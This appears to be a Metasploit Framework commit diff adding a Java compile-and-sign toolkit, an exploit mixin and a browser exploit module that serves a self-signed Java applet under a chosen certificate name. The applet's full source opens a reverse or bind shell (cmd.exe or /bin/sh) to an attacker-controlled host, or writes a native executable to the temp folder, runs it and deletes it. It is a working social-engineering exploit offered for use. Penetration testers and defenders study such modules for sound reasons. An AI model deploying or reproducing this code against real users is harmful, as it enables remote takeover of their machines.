diff --git a/data/exploits/msfJavaToolkit.jar b/data/exploits/msfJavaToolkit.jar new file mode 100644 index 0000000000..08d0425ea0 Binary files /dev/null and b/data/exploits/msfJavaToolkit.jar differ diff --git a/external/source/msfJavaToolkit/compile.sh b/external/source/msfJavaToolkit/compile.sh new file mode 100755 index 0000000000..bbb29feb4d --- /dev/null +++ b/external/source/msfJavaToolkit/compile.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java sun/security/tools/*.java + +jar -cf msfJavaToolkit.jar javaCompile/*.class sun/security/tools/*.class + +mv msfJavaToolkit.jar ../../../data/exploits/ diff --git a/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.class b/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.class new file mode 100644 index 0000000000..31dbb0a8f2 Binary files /dev/null and b/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.class differ diff --git a/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.java b/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.java new file mode 100644 index 0000000000..638dab9aaf --- /dev/null +++ b/external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.java @@ -0,0 +1,69 @@ +// Based on the example from http://www.java2s.com/Code/Java/JDK-6/CompilingfromMemory.htm + +package javaCompile; + +import java.net.URI; +import java.util.Arrays; +import java.util.List; +import java.util.ArrayList; +import java.lang.String; + +import javax.tools.JavaCompiler; +import javax.tools.JavaFileObject; +import javax.tools.SimpleJavaFileObject; +import javax.tools.StandardJavaFileManager; +import javax.tools.ToolProvider; +import javax.tools.JavaFileObject.Kind; + +public class CompileSourceInMemory { + + public static boolean CompileFromMemory(String strClass, String strCodeContent) { + String[] classNames = { strClass }; + String[] codeContent = { strCodeContent }; + return CompileFromMemory(classNames, codeContent, null); + } + + public static boolean CompileFromMemory(String[] classNames, String[] codeContent) { + return CompileFromMemory(classNames, codeContent, null); + } + + public static boolean CompileFromMemory(String[] classNames, String[] codeContent, String[] compOptions) { + + List compOptList = null; + if (compOptions != null) { compOptList = Arrays.asList(compOptions); } + + JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); + + // Need to add a check that classNames.length == codeContent.length, else we're fubared. + List files = new ArrayList () ; + int i = 0; + for (String codePage : codeContent) { + files.add(new JavaSourceFromString(classNames[i], codePage)); + i++; + } + + Iterable compilationUnits = files; + + JavaCompiler.CompilationTask task = compiler.getTask(null, null, null, compOptList, null, compilationUnits); + + boolean success = task.call(); + + return success; + + } +} + +class JavaSourceFromString extends SimpleJavaFileObject { + final String code; + + JavaSourceFromString(String name, String code) { + super(URI.create("string:///" + name.replace('.','/') + Kind.SOURCE.extension),Kind.SOURCE); + this.code = code; + } + + @Override + public CharSequence getCharContent(boolean ignoreEncodingErrors) { + return code; + } +} + diff --git a/external/source/msfJavaToolkit/javaCompile/CreateJarFile.class b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.class new file mode 100644 index 0000000000..a6a1cce13a Binary files /dev/null and b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.class differ diff --git a/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java new file mode 100644 index 0000000000..95be0e243c --- /dev/null +++ b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.java @@ -0,0 +1,51 @@ +// Source: http://www.java2s.com/Code/Java/File-Input-Output/CreateJarfile.htm + +package javaCompile; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class CreateJarFile { + public static int BUFFER_SIZE = 10240; + public static void createJarArchive(File archiveFile, File[] tobeJared) { + try { + byte buffer[] = new byte[BUFFER_SIZE]; + // Open archive file + FileOutputStream stream = new FileOutputStream(archiveFile); + JarOutputStream out = new JarOutputStream(stream, new Manifest()); + + for (int i = 0; i < tobeJared.length; i++) { + if (tobeJared[i] == null || !tobeJared[i].exists() + || tobeJared[i].isDirectory()) + continue; // Just in case... + System.out.println("Adding " + tobeJared[i].getName()); + + // Add archive entry + JarEntry jarAdd = new JarEntry(tobeJared[i].getName()); + jarAdd.setTime(tobeJared[i].lastModified()); + out.putNextEntry(jarAdd); + + // Write file to archive + FileInputStream in = new FileInputStream(tobeJared[i]); + while (true) { + int nRead = in.read(buffer, 0, buffer.length); + if (nRead <= 0) + break; + out.write(buffer, 0, nRead); + } + in.close(); + } + + out.close(); + stream.close(); + System.out.println("Adding completed OK"); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error: " + ex.getMessage()); + } + } +} diff --git a/external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class b/external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class new file mode 100644 index 0000000000..1b451a4f56 Binary files /dev/null and b/external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class differ diff --git a/external/source/msfJavaToolkit/msfkeystore b/external/source/msfJavaToolkit/msfkeystore new file mode 100644 index 0000000000..715602fcb3 Binary files /dev/null and b/external/source/msfJavaToolkit/msfkeystore differ diff --git a/external/source/msfJavaToolkit/output.jar b/external/source/msfJavaToolkit/output.jar new file mode 100644 index 0000000000..3bba37093d Binary files /dev/null and b/external/source/msfJavaToolkit/output.jar differ diff --git a/external/source/msfJavaToolkit/soutput.jar b/external/source/msfJavaToolkit/soutput.jar new file mode 100644 index 0000000000..aca6c73a30 Binary files /dev/null and b/external/source/msfJavaToolkit/soutput.jar differ diff --git a/external/source/msfJavaToolkit/testCompilation.rb b/external/source/msfJavaToolkit/testCompilation.rb new file mode 100755 index 0000000000..8011270b18 --- /dev/null +++ b/external/source/msfJavaToolkit/testCompilation.rb @@ -0,0 +1,40 @@ +#!/usr/bin/ruby + +require 'rubygems' +require 'rjb' + +#Rjb::load('.', jvmargs=[]) +Rjb::load("#{ENV['JAVA_HOME']}/lib/tools.jar:.",jvmargs=[]) + +clsJavaCompile = Rjb::import('javaCompile.CompileSourceInMemory') +clsCreateJar = Rjb::import('javaCompile.CreateJarFile') +clsFile = Rjb::import('java.io.File') +#clsString = Rjb::import('java.lang.String') + +classNames = [ "HelloWorld1", "HelloWorld2" ] + +codez = Array.new + +classNames.each { |name| + codez << %Q^ +public class #{name} { + public static void main(String args[]) { + System.out.println("This is from #{name}."); + } +}^} + +#compileOpts = [""] +outputDir = "testoutdir" +compileOpts = [ "-target", "1.3", "-source", "1.3", "-d", outputDir ] + +success = clsJavaCompile._invoke('CompileFromMemory','[Ljava.lang.String;[Ljava.lang.String;[Ljava.lang.String;', classNames, codez, compileOpts) + +fileOutJar = clsFile.new_with_sig('Ljava.lang.String;', 'output.jar') +filesIn = Array.new + +classNames.each { |name| + filesIn << clsFile.new_with_sig('Ljava.lang.String;', "#{outputDir}/#{name}.class") +} + +clsCreateJar._invoke('createJarArchive', 'Ljava.io.File;[Ljava.io.File;', fileOutJar, filesIn) + diff --git a/external/source/msfJavaToolkit/testKeytool.rb b/external/source/msfJavaToolkit/testKeytool.rb new file mode 100755 index 0000000000..7ed76c9929 --- /dev/null +++ b/external/source/msfJavaToolkit/testKeytool.rb @@ -0,0 +1,42 @@ +#!/usr/bin/ruby + +require 'rubygems' +require 'rjb' + +Rjb::load(ENV['JAVA_HOME'] + '/lib/tools.jar:.',jvmargs=[]) + +# This is a completely hackish way to do this, and could break with future +# versions of the JDK. Need to find a better way to use sun.security.tools.KeyTool +# and .JarSigner than modifying the source. These rely on internal APIs that may +# change. +clsKeyTool = Rjb::import('sun.security.tools.KeyTool') +#clsKeyTool = Rjb::import('sun.security.tools.KeyToolMSF') +clsJarSigner = Rjb::import('sun.security.tools.JarSigner') +#clsJarSigner = Rjb::import('sun.security.tools.JarSignerMSF') + +keytool = clsKeyTool +jarsigner = clsJarSigner + +outputJar = "output.jar" + +#certCN cannot contain commas +certCN = "Metasploit Inc." +#keytoolOpts = "-genkey -alias signFiles -keystore msfkeystore " + +# "-storepass msfstorepass -dname \"cn=#{certCN}\" " + +# "-keypass msfkeypass" + +keytoolOpts = ["-genkey", "-alias", "signFiles", "-keystore", "msfkeystore", + "-storepass", "msfstorepass", "-dname", "cn=#{certCN}", + "-keypass", "msfkeypass"] + + +keytool._invoke('main','[Ljava.lang.String;',keytoolOpts) + + +jarsignerOpts = ["-keystore", "msfkeystore", "-storepass", "msfstorepass", + "-keypass", "msfkeypass", "-signedJar", "s#{outputJar}", + outputJar, "signFiles"] + +jarsigner._invoke('main','[Ljava.lang.String;',jarsignerOpts) + + diff --git a/external/source/msfJavaToolkit/testoutdir/HelloWorld1.class b/external/source/msfJavaToolkit/testoutdir/HelloWorld1.class new file mode 100644 index 0000000000..d02040fda4 Binary files /dev/null and b/external/source/msfJavaToolkit/testoutdir/HelloWorld1.class differ diff --git a/external/source/msfJavaToolkit/testoutdir/HelloWorld2.class b/external/source/msfJavaToolkit/testoutdir/HelloWorld2.class new file mode 100644 index 0000000000..eaa1ea1639 Binary files /dev/null and b/external/source/msfJavaToolkit/testoutdir/HelloWorld2.class differ diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb new file mode 100644 index 0000000000..c29a7f16ea --- /dev/null +++ b/lib/msf/core/exploit/java.rb @@ -0,0 +1,163 @@ +### +# +# This mixn provides methods for interacting with a JDK installation to perform +# functions such as dynamic compilation and jar signing. +# +# Dependencies: +# - JDK6 +# - rjb (rjb.rubyforge.org) +# - the $JAVA_HOME variable must point to the JDK +# +# Nathan Keltner +# +### + +require 'msf/core' + +module Msf +module Exploit::Java + + def initialize(info = {}) + super + + register_advanced_options( + [ + OptString.new( 'JAVACACHE', [true, 'Java cache location', + File.join(Msf::Config.config_directory, "javacache")]), + OptString.new( 'ADDCLASSPATH', [false, 'Additional java classpath', nil]), + ], self.class) + + begin + require 'rjb' + @rjb_loaded = true + init_jvm + rescue Exception => e + @rjb_loaded = false + @jvm_init = false + @java_error = e + end + end + + def init_jvm(jvmoptions=nil) + # Instantiate the JVM with a classpath pointing to the JDK tools.jar + # and our javatoolkit jar. + classpath = File.join(Msf::Config.install_root, "data", "exploits", "msfJavaToolkit.jar") + classpath += ":" + File.join(ENV['JAVA_HOME'], "lib", "tools.jar") + classpath += ":" + datastore['ADDCLASSPATH'] if datastore['ADDCLASSPATH'] + + Rjb::load(classpath, jvmargs=[]) + + @jvm_init = true + end + + def query_jvm + return @jvmInit + end + + def compile(classnames, codez, compile_options=nil) + if !@rjb_loaded or !@jvm_init + raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s + end + + if compile_options.class.to_s != "Array" && compile_options + raise RuntimeError, "Compiler options must be of type Array." + end + + compile_options = [] if compile_options.nil? + + # Create the directory if it doesn't exist + Dir.mkdir(datastore['JAVACACHE']) if !File.exists? datastore['JAVACACHE'] + + # For compatibility, some exploits need to have the target and source version + # set to a previous JRE version. + std_compiler_opts = [ "-target", "1.3", "-source", "1.3", "-d", datastore['JAVACACHE'] ] + + compile_options += std_compiler_opts + + java_compiler_klass = Rjb::import('javaCompile.CompileSourceInMemory') + + # If we were passed arrays + if classnames.class == [].class && codez.class == [].class + # default compile class + begin + # Sames as java_compiler_klass.CompileFromMemory( String[] classnames, + # String[] codez, String[] compilerOptions) + success = java_compiler_klass._invoke('CompileFromMemory', + # Signature explained: [ means array, Lpath.to.object; means object + # Thus, this reads as call the method with 3 String[] args. + '[Ljava.lang.String;[Ljava.lang.String;[Ljava.lang.String;', + classnames, codez, compile_options) + rescue Exception => e + print_error "Received unknown error: " + e + end + else + raise RuntimeError, "The Java mixin received unknown argument-type combinations and cannot continue." + end + if !success + raise RuntimeError, "Compile failed." + end + end + + def build_jar(output_jar, in_files) + if output_jar.class != "".class || in_files.class != [].class + raise RuntimeError, "Building a jar requires an output_jar and an Array of in_files." + end + + # Add paths + in_files = in_files.map { |file| File.join(datastore['JAVACACHE'], file) } + + create_jar_klass = Rjb::import('javaCompile.CreateJarFile') + file_class = Rjb::import('java.io.File') + + file_out_jar = file_class.new_with_sig('Ljava.lang.String;', File.join(datastore['JAVACACHE'], output_jar) ) + files_in = Array.new + + in_files.each { |file| files_in << file_class.new_with_sig('Ljava.lang.String;', file) } + create_jar_klass._invoke('createJarArchive', 'Ljava.io.File;[Ljava.io.File;', file_out_jar, files_in) + end + + def sign_jar(cert_cn, unsiged_jar, signed_jar, cert_alias="signFiles", msf_keystore="msfkeystore", + msf_store_pass="msfstorepass", msf_key_pass="msfkeypass") + # The regular versions of KeyTool and JarSigner call System.exit() after functions complete. + # While this is find for a standalone tool, it will kill the JVM and MSF at the same time. + # To fix this, I obtained the open source version of these two tools and removed the calls to + # .exit. This temporarily fixes the problem, but relies on various unpublished APIs in sun.*, + # which may not work the same way accross different versions of the JDK. + # + # JDK6 is required for use of the compiler functions anyway, so this is probably not a huge deal + # right now, but long term, this functionality may be lost in future versions. + # + # Custom Keytool and JarSigner are stored in javaCompile.jar + # Dependent on $JAVA_HOME/lib/tools.jar that comes with the JDK. + keytool_klass = Rjb::import('sun.security.tools.KeyTool') + jarsigner_klass = Rjb::import('sun.security.tools.JarSigner') + #keytool = keytool_klass + #jarsigner = jarsigner_klass + + # Check if the keystore exists from previous run. If it does, delete it. + msf_keystore = File.join(datastore['JAVACACHE'], msf_keystore) + File.delete msf_keystore if File.exists? msf_keystore + + # http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf + keytool_opts = ["-genkey", "-alias", cert_alias, "-keystore", msf_keystore, + "-storepass", msf_store_pass, "-dname", "CN=#{cert_cn}", + "-keypass", "msfkeypass"] + + # Build the cert keystore + keytool_klass._invoke('main','[Ljava.lang.String;',keytool_opts) + + jarsigner_opts = ["-keystore", msf_keystore, "-storepass", msf_store_pass, + "-keypass", msf_key_pass, "-signedJar", + File.join(datastore['JAVACACHE'], signed_jar), # Signed Jar + File.join(datastore['JAVACACHE'], unsiged_jar), # Input Jar we're signing + cert_alias] # The cert we're using + jarsigner_klass._invoke('main','[Ljava.lang.String;',jarsigner_opts) + + # There are warnings in the source for KeyTool/JarSigner warning that security providers + # are not released, and if you are calling .main(foo) from another app, you need to release + # them manually. This is not done here, and should Rjb be used for anything in the future, + # this may need to be cleaned up. + end + +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 9fa9e6ce22..51820004be 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -55,3 +55,5 @@ require 'msf/core/exploit/oracle' # tekniqz require 'msf/core/exploit/fmtstr' +# Java +require 'msf/core/exploit/java' diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index e7e39a0e8d..0addd18836 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -13,26 +13,27 @@ class Msf::Module::Author { 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', - 'skape' => 'mmiller' + 0x40.chr + 'hick.org', + 'skape' => 'mmiller' + 0x40.chr + 'hick.org', 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', + 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', - 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'MC' => 'mc' + 0x40.chr + 'metasploit.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', 'patrick' => 'patrick' + 0x40.chr + 'aushack.com', - 'ramon' => 'ramon' + 0x40.chr + 'risesecurity.org', + 'ramon' => 'ramon' + 0x40.chr + 'risesecurity.org', 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', - 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', + 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', - 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', - 'et' => 'et' + 0x40.chr + 'metasploit.com', - 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', - 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', + 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', + 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', + 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', - 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com' + 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', + 'natron' => 'natron' + 0x40.chr + 'metasploit.com' } # diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb new file mode 100644 index 0000000000..dd8a59f71b --- /dev/null +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -0,0 +1,432 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Java + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Signed Applet Social Engineering Code Exec', + 'Description' => %q{ + This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it + to a .jar file, then signs the .jar with a dynamically created certificate containing + values of your choosing. This is presented to the end user via a web page with an applet + tag, loading the signed applet. + + The user's JVM pops a dialog asking if they trust the signed applet and displays the + values chosen. Once the user clicks 'accept', the applet executes with full user + permissions. + + The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload + created for the CVE-2008-5353 java deserialization exploit. + + This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set. + If these dependencies are not present, the exploit falls back to a static, signed + JAR. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'natron' ], + 'Version' => '$Revision: $', + 'References' => + [ + [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ], + ], + 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], + 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + # Generic java payload is mostly useless right now, as it kills as soon as the user browsers + # to another page. It should be rewritten to launch a new JVM in the background with a custom + # .class. + # + # Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via + # /bin/sh or cmd.exe + [ 'Generic (Java Payload)', + { + # This is a bad hack to force only the generic/shell_bind_tcp + # and generic/shell_reverse_tcp payloads + 'Platform' => ['win'], + 'Payload' => { 'Space' => 0 }, + 'Arch' => ARCH_CMD, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + # Not tested. + [ 'Mac OS X PPC (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_PPC, + } + ], + # Not tested. + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + # Not tested. + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 1 + )) + register_options( + [ + OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]), + OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]), + OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]), + + # Not implemented yet. + #OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]), + #OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]), + ], self.class) + end + + + def exploit + # + # Currently doing all processing in on_request_uri. + # If this is too slow, we can move applet generation up here. + # + super + end + + def get_code(cli) + + # I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings. + appletsource = %Q^ +/* + */ + +import java.applet.Applet; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.ServerSocket; +import java.net.Socket; +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class #{datastore['APPLETNAME']} extends Applet +{ + + public void init() + { + try + { + String data = getParameter( "data" ); + String lhost = getParameter( "lhost" ); + String lport = getParameter( "lport" ); + + if( data == null ) { + data = ""; + } + + System.out.println("Applet executing. Creating payload class."); + + #{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} (); + System.out.println("Payload class instantiated."); + site.data = data; + + if( lhost != null && lport != null) { + site.lhost = lhost; + site.lport = Integer.parseInt(lport); + System.out.println("lhost: " + lhost); + System.out.println("lport: " + Integer.parseInt(lport)); + } + + System.out.println("data: " + data); + + site.run(); + } + catch( Exception e ) { System.out.println("Applet error: " + e); } + } + + class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction + { + // This will contain a hex string of the native payload to drop and execute. + public String data = null; + // If no native payload is set we get either a java bind shell or a java + // reverse shell. + public String lhost = null; + public int lport = 4444; + + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + + try + { + in = new BufferedReader( new InputStreamReader( is ) ); + out = new BufferedWriter( new OutputStreamWriter( os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } + catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } + + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } + catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } + } + } + + // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java + public byte[] StringToBytes( String s ) + { + byte[] data = new byte[s.length() / 2]; + + for( int i = 0 ; i < s.length() ; i += 2 ) + data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) ); + + return data; + } + + public Object run() throws Exception + { + System.out.println("Applet running..."); + + try + { + String os = System.getProperty( "os.name" ); + + // if we have no native payload to drop and execute we default to + // either a TCP bind or reverse shell. + //if( #{datastore['PAYLOADNAME']}.data.length() == 0 ) + if( this.data.length() == 0 ) + { + System.out.println("Applet thinks payload.data is empty."); + Socket client_socket = null; + + String shell = "/bin/sh"; + + if( os.indexOf( "Windows" ) >= 0 ) + shell = "cmd.exe"; + + //if( #{datastore['PAYLOADNAME']}.lhost == null ) + if( this.lhost == null ) + { + //ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport ); + ServerSocket server_socket = new ServerSocket( this.lport ); + client_socket = server_socket.accept(); + } + else + { + //client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport ); + client_socket = new Socket( this.lhost, this.lport ); + } + + if( client_socket != null ) + { + Process process = Runtime.getRuntime().exec( shell ); + + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } + } + else + { + System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" )); + String filename = Math.random() + ".exe"; + String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename; + System.out.println(filename + " written."); + + Process p; + FileOutputStream fos = new FileOutputStream( path ); + + //fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) ); + fos.write( StringToBytes( this.data ) ); + + fos.close(); + + if( os.indexOf( "Windows" ) < 0 ) + { + p = Runtime.getRuntime().exec( "chmod 755 " + path ); + p.waitFor(); + } + + p = Runtime.getRuntime().exec( path ); + + p.waitFor(); + + new File( path ).delete(); + } + } + catch( Exception e ) { System.out.println("Payload execution error: " + e); } + + return null; + } + + public void #{datastore['PAYLOADNAME']}() + { + try + { + AccessController.doPrivileged( this ); + } + catch( Exception e ) { System.out.println("Payload instantiation error: " + e); } + } + } +}^ + appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] , + 'codefiles' => [ appletsource ] } + + return appletcode + end + + def on_request_uri( cli, request ) + + if not request.uri.match(/\.jar$/i) + if not request.uri.match(/\/$/) + send_redirect( cli, get_resource() + '/', '') + return + end + + print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) + + if target.name == 'Generic (Java Payload)' + if datastore['LHOST'] + host = datastore['LHOST'] + port = datastore['LPORT'] + print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." ) + else + port = datastore['LPORT'] + datastore['RHOST'] = cli.peerhost + print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) + end + else + payload = regenerate_payload( cli ) + if not payload + print_status( "Failed to generate the payload." ) + return + end + + if target['Arch'] == ARCH_X86 + data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win' + data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' + data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux' + + elsif target['Arch'] == ARCH_PPC + data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx' + end + + if data + print_status( "Generated executable to drop (#{data.length} bytes)." ) + data = Rex::Text.to_hex( data, prefix="" ) + else + print_status( "Failed to generate the executable." ) + return + end + end + + # TODO: gzip data and parse in java + send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) + return + end + + appletcode = get_code(cli) + + print_status "Compiling applet classes..." + compile( appletcode['classnames'], appletcode['codefiles'] ) + + print_status "Compile completed. Building jar file..." + + unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" + signedjar = "#{datastore['APPLETNAME']}.jar" + + build_jar( unsignedjar, + [ # Applet + datastore['APPLETNAME' ] + ".class", + # PayloadX class + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class", + # PayloadX StreamConnector for pure Java payload + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] ) + + print_status "Jar built. Signing..." + + sign_jar( datastore['CERTCN'], unsignedjar, signedjar ) + + # load the jar file + if File.exists? File.join( datastore['JAVACACHE'], signedjar ) + path = File.join( datastore['JAVACACHE'], signedjar ) + fd = File.open( path, "rb" ) + @jar_data = fd.read(fd.stat.size) + fd.close + end + + print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}..." ) + send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } ) + + handler( cli ) + + end + + def generate_html( data, host, port ) + html = "Loading, Please Wait..." + html += "

Loading, Please Wait...

" + html += "" + + html += "" if data + html += "" if host + html += "" if port + + html += "" + return html + end + + +end